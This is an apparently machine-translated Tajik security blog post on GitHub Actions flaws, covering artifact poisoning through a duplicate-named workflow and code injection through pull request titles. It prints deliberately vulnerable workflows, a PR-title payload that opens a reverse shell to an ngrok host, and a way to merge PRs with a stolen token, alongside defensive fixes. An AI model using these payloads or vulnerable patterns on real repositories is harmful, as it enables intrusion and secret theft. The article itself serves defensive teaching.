CICD-Pipelines

Ғарқшавии амиқ CI/CD PipelineОсебпазириҳои s (III): Заҳролудшавии артефакт ва ворид кардани код

Дар паёмҳои қаблӣ (нигаред Заҳролудшавии ғайримустақим Pipeline Иҷрои I-PPE ва Заҳролуд шудааст Pipeline Иҷрои PPE , мо асосан бо PPE (Заҳролудшуда) сарукор доштем Pipeline Иҷро): мо дидем, ки он чӣ гуна кор мекунад, таъсири он, баъзе истисмор ва инчунин баъзе роҳҳои муҳофизат аз он. 

Ин паём ба баъзеи дигар амиқтар ғӯтавар мешавад CI/CD pipeline осебпазириҳо ба монанди заҳролудшавии артефакт ва ворид кардани код. 

Барои ин, мо онро ба таври муайян ба PPE асос хоҳем кард, аз ин рӯ, биёед хулосаи мухтасари он чизеро, ки дар бораи PPE дидем, тартиб диҳем.

Корҳои қаблӣ оид ба PPE

Хулоса, мо бо GitHub-и оддӣ оғоз кардем. pipeline барои сохтан ва санҷидани рамзи саҳмгузор тавассути pull requestҒайр аз ин, он баъзе санҷишҳоро муайян мекунад, ки агар иҷро шаванд, рамзро ба шохаи асосӣ муттаҳид мекунанд. Мо инро чунин номгузорӣ кардем. Сенарияи №1.

CI/CD-Pipelines

Дар паёми қаблии худ мо нишон додем, ки чӣ тавр ин асосӣ аст pipeline буд, осебпазир ба ҳам D-PPE ва ҳам I-PPE.

Мо тавонистем D-PPE-ро ислоҳ кунед by тағир додани рӯйдоди триггер аз дархости кашидан ба pull_request_target, қабули pipeline барои D-PPE бехатар аст. Ҳамчун ёдоварӣ, pipelines, ки дар рӯйдоди pull_request_target фаъол мешавад, пойгоҳи додаҳоро иҷро мекунад pipeline рамз, на pipeline рамзи мавҷуд дар pull request. 

Мо инро чунин номгузорӣ кардем Сенарияи №2.

CI/CD-PipelineСенарияи s-осебпазириҳо-2

Дар натиҷаи ин тағйирот, мо нишон додем, ки Сенарияи №2 ҳанӯз ҳам ба I-PPE осебпазир буд

Барои ислоҳи он, мо тасмим гирифтем, тақсим кардан pipeline ба ду:

  • 1 pipeline (Сохтани CI) мешуд рамзи PR-ро санҷед (барои сохтани он), сохтмонро созед ва артефакт эҷод кунед.
  • 2-ум pipeline (Санҷиши CI) мешуд рамзи асосиро санҷед (барои пешгирӣ аз тағир додани скрипти shell) ва скриптҳои аслиро бар зидди артефакт иҷро кунед. 
  • Барои ҳамоҳангсозии CI-и санҷишӣ pipeline барои иҷро кардан БАЪД аз сохтани CI pipeline, мо истифода хоҳем бурд workflow_run триггер. 

Мо инро чунин номгузорӣ кардем Сенарияи №3.

CI/CD-PipelineСенарияи s-осебпазириҳо-3

Биёед рамзи ҳардуро барқарор кунем pipelineмувофиқи ин тағйиротҳо…

1st pipeline (Сохтани CI):

				
					name: Build CI


on:
  pull_request_target:
    branches: [ main ]


env:
  MY_SECRET: ${{ secrets.MY_SECRET }}
  GITHUB_PAT: ${{ secrets.GH_PAT }}
 
jobs:
               
  prt_build_and_upload:
    runs-on: ubuntu-latest
    steps:
      - name: Checking out PR code
        uses: actions/checkout@v4
        if: ${{ github.event_name == 'pull_request_target' }}
        with:
          # This is to get the PR code instead of the repo code
          ref: ${{ github.event.pull_request.head.sha }}


      - name: Building ...
        run: |
          mkdir ./bin
          touch ./bin/mybin.exe
	    # Save some PR info for later use by the 2nd pipeline
          echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
          echo "${{github.event.number}}" > ./bin/PR_ID.txt
 
	# Upload the binary as a pipeline artifact
      - name: Archive building artifacts
        uses: actions/upload-artifact@v3
        with:
          name: archive-bin
          path: |
            bin

				
			

2nd pipeline (Санҷиши CI):

				
					name: Test CI


on:
  workflow_run:
    workflows: [ 'Build CI' ]
    types: [completed]
   
env:
  MY_SECRET: ${{ secrets.MY_SECRET }}
  GITHUB_PAT: ${{ secrets.GH_PAT }}




jobs:
  deploy:
    runs-on: ubuntu-latest
    if: ${{ github.event.workflow_run.conclusion == 'success' }}
    steps:
 


      # By default, checks out base code (not PR code)
      - name: Checkout repository
        uses: actions/checkout@v4


	# Download the artifact
      - name: 'Download artifact'
        uses: actions/github-script@v6
        with:
          script: |
            let allArtifacts = await github.rest.actions.listWorkflowRunArtifacts({
               owner: context.repo.owner,
               repo: context.repo.repo,
               run_id: context.payload.workflow_run.id,
            });
            let matchArtifact = allArtifacts.data.artifacts.filter((artifact) => {
              return artifact.name == "archive-bin"
            })[0];
            let download = await github.rest.actions.downloadArtifact({
               owner: context.repo.owner,
               repo: context.repo.repo,
               artifact_id: matchArtifact.id,
               archive_format: 'zip',
            });
            let fs = require('fs');
            fs.writeFileSync(`${process.env.GITHUB_WORKSPACE}/myartifact.zip`, Buffer.from(download.data));


	# Unzip the artifact
      - name: 'Unzip artifact'
        run: |
          unzip -o myartifact.zip


      # Runs tests
      - name: Running tests ...
        id : run_tests
        run: |
          echo Running tests..
          chmod +x runtests.sh
          ./runtests.sh
          echo Tests executed.


#
      # For demo purposes, the check merge condition will always be set to FALSE (avoiding to merge)
      #
- name: pr_check_conditions_to_merge
        id: check_pr
        run: |
          echo "check_conditions_to_merge"
          PR_ID=$(<PR_ID.txt)
          PR_TITLE=$(<PR_TITLE.txt)
          echo "Checking conditions to merge PR with id $PR_ID and Title $PR_TITLE"
          echo "merge=false" >> $GITHUB_OUTPUT
     
      - name: pr_merge_pr_false
        if: steps.check_pr.outputs.merge == 'false'
        run: |
          echo "The merge check was ${{ steps.check_pr.outputs.merge }}"
          echo "Merge conditions NOT MEET!!!"




      - name: pr_merge_pr_true
        if: steps.check_pr.outputs.merge == 'true' && steps.run_tests.outputs.run_tests == 'OK'
        run: |
          echo "The merge check was ${{ steps.check_pr.outputs.merge }}"
          echo "Merge conditions successfully MEET!!!"
          echo "Merging .."
          PR_ID=$(<PR_ID.txt)
          curl -L \
                  -X PUT \
                  -H "Accept: application/vnd.github+json" \
                  -H "Authorization: Bearer $GITHUB_PAT" \
                  -H "X-GitHub-Api-Version: 2022-11-28" \ 
https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \
                  -d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}'
       





				
			

Заҳролудшавӣ аз артефакт

Мувофиқи боло CI/CD pipelines:

  • pipeline Сохтани CI is бехатар ба ҳарду D-PPE (бо сабаби pull_request_target) ва I-PPE (зеро он дигар скрипти shell-ро иҷро намекунад).
  • pipeline Санҷиши CI низ мебошад бехатар ба ҳарду D-PPE (бо сабаби workflow_run) ва I-PPE (зеро он рамзи асосиро барои гирифтани скрипти аслии shell тафтиш мекунад) 

Биёед ба ин "ҳалли масъала" ба таври муфассалтар назар андозем.

Pipeline Санҷиши CI артефактро ҳамчун файли zip зеркашӣ мекунад.

				
					# Unzip the artifact
      - name: 'Unzip artifact'
        run: |
          unzip -o myartifact.zip


      # Runs tests
      - name: Running tests ...
        id : run_tests
        run: |
          echo Running tests..
          chmod +x runtests.sh
          ./runtests.sh
          echo Tests executed.

				
			

Пас аз кушодан, он скрипти shell-и "бехатар"-ро иҷро мекунад. Чаро ман скрипти shell-и "бехатар"-ро мегӯям? Зеро дар қадами қаблӣ, pipeline рамзи "асосӣ"-ро тафтиш мекунад, то скрипти аслӣ дар ҷузвдони фазои корӣ ҷойгир карда шавад. Аз ин рӯ, вақте ки pipeline скрипти shell-ро, ки он бо истифода аз файли бинарии қаблан зеркашӣшуда иҷро мешавад, иҷро мекунад.

Пас, чӣ аст проблема бо ин равиш? Мушкилот ба миён меояд вақте ки ягон корбар "нав" эҷод мекунад pipeline

Агар корбар PR-ро кушояд, ки дорои як паёми нав аст pipeline, GitHub инро иҷро хоҳад кард pipeline  (бо назардошти баъзе шартҳо, чунон ки мо дар мақолаи қаблӣ дидем мансаби).

Бо назардошти ин, чӣ мешавад, агар корбар нав эҷод кунад pipeline бо ҳамон ном бо Build CI? Бале, ин ҳайратовар аст, аммо GitHub ба шумо имкон медиҳад, ки ду эҷод кунед pipelineбо ҳамон ном!!

Дар хотир доред, ки Test CI пас аз сохтани CI иҷро мешавад...

				
					name: Test CI


on:
  workflow_run:
    workflows: [ 'Build CI' ]
    types: [completed]
				
			

Тааҷҷубовар аст, зеро ҳоло ду нафар ҳастанд pipelineбо ҳамон ном, pipeline Санҷиши CI ду маротиба иҷро мешавад: яке пас аз асл pipeline ва дигар пас аз "нав" pipeline.

Чӣ тавр хакер метавонад аз ин истифода барад? 

  • Аввалан, корбари зараровар метавонад скрипти shell-ро тағир диҳад, то сирри онро ба сервери аз ҷониби ҳакер идорашаванда фиристад.
  • Дуюм, нав pipeline сатреро дар бар мегирад, ки скрипти тағирёфтаи пӯстро ба артефакт нусхабардорӣ мекунад → заҳролуд кардани артифакт!!!

Вақте ки корбар PR-ро бо ин тағйирот мекушояд, "нав" pipeline иҷро карда мешавад (боркунии артефакти заҳролудшуда) ва CI-и ҷойгиркунӣ pipeline баъд аз он иҷро карда мешавад, ки дар натиҷа скрипти "тағйирёфта"-и пӯсти "аслӣ"-ро, ки дар он ҷойгир аст, аз нав менависад pipeline фазои корӣ.

CI/CD-Pipelines-осебпазириҳо

Ин аст он чизе ки мо даъват мекунем Заҳролудшавӣ аз артефакт, яъне қобилияти тағир додан (ҳакерӣ кардан) pipeline мантиқ тавассути тағир додани а pipeline ҳунарманд

Як имконпазир ислоҳоти хеле содда аст: танҳо кушодани артефакт ба зерҷузвдони фазои корӣ аз аз нав навиштани скрипти "асосӣ"-и пӯст пешгирӣ мекунад.

Кодекси тазриқӣ

Ғайр аз заҳролудшавӣ аз артефакт, оё шумо метавонед ягон осебпазирии дигарро дар рамзи дар боло зикршуда бубинед?

Рафтем!!

Тавре ки шумо дар рамз мебинед, pipeline Build CI файли дуӣ месозад, он файли дуиро ҳамчун pipeline артефакт ва ғайр аз ин, он якчанд маълумоти иловагиро бор мекунад: унвони PR ва ID-и PR.

				
					          echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
          echo "${{github.event.number}}" > ./bin/PR_ID.txt
				
			

Чаро? Зеро барои муттаҳид кардани PR, тавре ки шумо дар зер мебинед, CI-и санҷишӣ pipeline барои даъват кардани API-и GitHub REST, ки PR-ро муттаҳид мекунад, ба PR идентификатор лозим аст. 

Чӣ тавр санҷиши CI анҷом дода мешавад pipeline гирифтани он ID-и PR? Мубодилаи маълумот дар файлҳои матнӣ (қисми а) pipeline артефакт) роҳи маъмули мубодилаи иттилоот байни pipelineс. Ва ин маҳз ҳамон чизест, ки инҳо pipelineс анҷом медиҳанд.

				
					  echo "Merging .."
          PR_ID=$(<PR_ID.txt)
          curl -L \
                  -X PUT \
                  -H "Accept: application/vnd.github+json" \
                  -H "Authorization: Bearer $GITHUB_PAT" \
                  -H "X-GitHub-Api-Version: 2022-11-28" \
                  https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \
                  -d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}'

				
			

Ба таври қатъӣ, барои муттаҳид кардани PR танҳо ID-и PR лозим аст, аммо pipeline администратор қарор кард, ки CI-и сохташуда унвони PR-ро низ дар бар гирад, аз ин рӯ CI-и санҷишӣ pipeline баъзе паёмҳои иттилоотиро, ки ҳам ID-и PR ва ҳам Унвонро дар бар мегиранд, чоп мекунад.

				
					name: Build CI
      - name: Building ...
        run: |
          mkdir ./bin
          touch ./bin/mybin.exe
	    # Save some PR info for later use by the 2nd pipeline
          echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
          echo "${{github.event.number}}" > ./bin/PR_ID.txt


				
			
				
					name: Test CI
[...]
          PR_ID=$(<PR_ID.txt)
          PR_TITLE=$(<PR_TITLE.txt)
          echo "Checking conditions to merge PR with id $PR_ID and Title $PR_TITLE"

				
			

Унвони PR ҳамеша маълумотест, ки аз корбар меояд ва аз ин рӯ, бояд ҳамеша ҳамчун беэътимод ҳисобида шавад.. Ҳамин тавр pipeline бояд чунин муносибат кунад ва чораҳои муҳофизатӣ андешад.

Дар рамзи боло, мо метавонем паёми мушаххасеро бубинем, ки унвони PR-ро инъикос мекунад. Ин танҳо як фармони "echo"-и Linux аст.

Тавассути интерполятсияи сатрҳо, агар унвон "унвони сохта" бошад, Github дар дохили худ скриптеро эҷод мекунад, ки дорои

				
					echo ""a dummy title""
				
			

Аммо, чӣ мешавад, агар унвони PR чунин бошад:

Унвони зараровар” && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo "

Скрипт чунин хоҳад буд:

				
					echo "Malicious title" && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo ""

				
			

Натиҷа кушодани як қабати баръакс бар зидди сервери аз ҷониби ҳакер идорашаванда мебошад.

CI/CD-Pipelines

Ин қабати баръакс метавонад барои дастрасӣ ба он истифода шавад pipeline асрорҳо (дар хотир доред, ки Test CI дар ҳолати имтиёзҳо кор мекунад, зеро он аз ҷониби workflow_run фаъол мешавад, то он ба асрор дастрасӣ дошта бошад).

Аммо, тавассути ин пӯсти баръакс боз чӣ кор кардан мумкин аст? 

Ба рамзи санҷиши CI нигаред:

				
					env:
  GITHUB_PAT: ${{ secrets.GH_PAT }}


[...]
          echo "Merging .."
          PR_ID=$(<PR_ID.txt)
          curl -L \
                  -X PUT \
                  -H "Accept: application/vnd.github+json" \
                  -H "Authorization: Bearer $GITHUB_PAT" \
                  -H "X-GitHub-Api-Version: 2022-11-28" \
                  https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \
                  -d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}'


				
			

Тавре ки шумо метавонед дар санҷиши CI бубинед pipeline, фармони curl merge аз GITHUB_PAT (ҳамчун муайян карда мешавад) истифода мебарад. pipeline env var), бинобар ин, иҷрокунанда GITHUB_PAT-ро ҳамчун тағирёбандаи муҳит дар бар мегирад. Ғайр аз ин, он инчунин env var эҷод мекунад, ки ID-и PR-ро мехонад. 

Пас, ҳакер танҳо бояд фармони curl-ро нусхабардорӣ кунад ва онро ба қабати баръакс часбонад ва PR-ро мустақиман ба шохаи ҳифзшуда муттаҳид кунад.

рамзгузорӣ

Барои ҳифзи ҳамаи ин:

  • Ба пешгирӣ кунед интерполятсияи сатрӣ бо маълумоти нобовар (осебпазир ба воридкунии рамз) бо муайян мекунад pipeline муҳит тағйирёбандаҳо ба ҷои истифодаи мустақими он дар фармонҳои echo

Ба ҷои истифода:

				
					name: Build CI
      - name: Building ...
        run: |
          mkdir ./bin
          touch ./bin/mybin.exe
	    # Save some PR info for later use by the 2nd pipeline
          echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
          echo "${{github.event.number}}" > ./bin/PR_ID.txt
				
			

Инро истифода баред:

				
					  - name: Building ...
        run: |
          mkdir ./bin
          touch ./bin/mybin.exe
	    # Save some PR info for later use by the 2nd pipeline
          echo "$PR_TITLE" > ./bin/PR_TITLE.txt
          echo "${{github.event.number}}" > ./bin/PR_ID.txt
        env:
          PR_TITLE: ${{github.event.pull_request.title}}

				
			
  • Ҳатто бо истифода аз тазриқи код, фармони curl merge агар шумо дуруст иҷро мекардед, муваффақ намешуд. шуморо муҳофизат кард pull requests тавассути баъзе баррасӣ ё тасдиқи ҳатмӣ

Хулоса

Ҳифз кардан ба таври ногаҳонӣ душвор аст CI/CD pipelineконфигуратсияи s ва гирифтани pipelineаз осебпазириҳо озод аст.

Ин маънои онро надорад CI/CD системаҳо (чунон ки дар ин ҳолат GitHub) худ аз худ осебпазиранд. CI/CD системаҳо воситаҳои муҳофизат аз осебпазириҳоро фароҳам меоранд ... аммо татбиқи ин ҳимояҳо масъулияти администратор аст.

Аммо ... Шумо наметавонед осебпазириро ҳал кунед, агар аз мавҷудияти он огоҳ набошед!!!

Албатта, як мудири баландихтисоси devops метавонад ҳамаи ин таҳдидҳоро дар назар дошта бошад ва онҳоро дуруст муҳофизат кунад. CI/CD pipelineс, аммо, бо вуҷуди ин, истифодаи маҳсулот барои муайян кардани ҳамаи ин намуди осебпазириҳо хеле арзишманд аст. Ва албатта, автоматикунонии ин раванди боздошти осебпазириҳо (масалан, иҷро кардани скан ҳамчун як қисми CI/CD pipelineс).

Ин усулро метавон номид, ки "Дарвозаи амниятӣ”: 

  • Эҷоди нав pipeline (Дарвозаи амниятӣ) барои санҷиш CI/CD pipelineосебпазириҳои s ва дигар CI-ро эҷод кунед pipelineтанҳо пас аз анҷоми бомуваффақияти дарвозаи амниятӣ иҷро карда мешавад pipeline.
  • Дарвозаи амниятӣ pipelines тафтиш хоҳад кард CI/CD pipelineосебпазириҳои с ва, 
    • Агар осебпазириҳо пайдо шаванд, он ноком мешавад ва аз ин рӯ, дигараш pipelines иҷро карда намешавад. 
    • Агар ягон осебпазирӣ пайдо нашавад, pipeline муваффақ хоҳад шуд ва дигаре pipelines мисли маъмулӣ иҷро хоҳад шуд.
CI/CD-Амният

Заҳролуд шудааст Pipeline Иҷро (PPE)

Ғарқшавии амиқ CI/CD PipelineОсебпазириҳо (I)​

Заҳролудшавии ғайримустақим Pipeline Иҷро (I-PPE)

Ғарқшавии амиқ CI/CD PipelineОсебпазириҳо (II)​

Муҳофизат аз заҳролудшавӣ аз артефакт тавассути тасдиқи нармафзор

Ғарқшавии амиқ CI/CD PipelineОсебпазириҳо (IV)
асбобҳои sca-tools-нармафзор-таҳлили таркиб
Хатарҳои нармафзори худро афзалият диҳед, ислоҳ кунед ва бехатар созед
Ҳисоби ройгони худро дастрас кунед.
Корти кредитӣ лозим нест.

Таҳия ва интиқоли нармафзори худро таъмин кунед

бо маҷмӯи маҳсулоти Xygeni